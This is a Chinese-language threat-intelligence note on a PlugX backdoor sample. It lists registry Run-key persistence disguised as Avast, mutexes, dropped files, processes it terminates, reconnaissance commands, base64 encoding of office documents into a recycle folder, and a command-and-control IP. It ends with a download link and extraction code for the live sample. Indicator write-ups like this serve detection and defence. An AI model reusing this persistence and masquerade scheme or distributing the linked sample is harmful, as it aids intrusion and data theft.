  • AvastSvcPYT = “% ProgramData% AvastSvcPYT AvastSvc.exe” : HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows CurrentVersion Run

  • AvastSvcPYT = “% ProgramData% AvastSvcPYT AvastSvc.exe” : HKEY_CURRENT_USER Software Microsoft Windows CurrentVersion Run

  • HKEY_LOCAL_MACHINE SYSTEM ControlSet001 Control Network Version = 1

  • HKEY_CURRENT_USER System CurrentControlSet Control Network Version = 1
  • HKEY_LOCAL_MACHINE SOFTWARE Classes ms-pu CLSID = {645FF040-5081-101B-9F08-00AA002F954E}

互斥体

  • USB_NOTIFY_COP_

  • USB_NOTIFY_INF_

创建文件/目录

  • % ProgramData% AvastSvcPYT

  • % ProgramData% AvastSvcPYT AvastSvc.exe

  • % ProgramData% AvastSvcPYT AvastAuth.dat

  • % ProgramData% AvastSvcPYT wsc.dll

删除的文件

  • 它会删除在终止进程的文件夹中找到的所有文件。
  • 它删除终止进程的文件夹。
  • 它将以下文件放入 {Drive} RECYCLER.BIN:
    • tmp.bat
    • c3lzLmluZm8
    • CEFHelper.exe
    • AvastAuth.dat
    • wsc.dll

创建进程

  • % ProgramData% AvastSvcPYT AvastSvc.exe

关闭进程

  • AdobeHelper.exe
  • AdobeUpdates.exe
  • AdobeUpdate.exe
  • AdobeARM.exe
  • AAM Update.exe
  • AAM Updates.exe

信息泄露(执行的命令)

  • systeminfo
  • ipconfig
  • netstat
  • arp
  • tasklist

编码/加密

  • 扩展名为 .doc、.docx、.ppt、.pptx、.xls、.xlsx、.pdf使用base64加密并放入回收站

远程连接

  • 45.142.166.[112]

感谢您读到这。

样本链接

链接:https://pan.baidu.com/s/1Y_xrV-7fAQRziJ7Z7u4PUQ 提取码:pttc

参考链接:https://www.trendmicro.com/vinfo/jp/threat-encyclopedia/print/malware/Backdoor.Win32.PLUGX.EYSGVM


原文始发于微信公众号(青科信安):PlugX样本分析

版权声明:admin 发表于 2022年9月27日 下午4:42。
转载请注明:PlugX样本分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...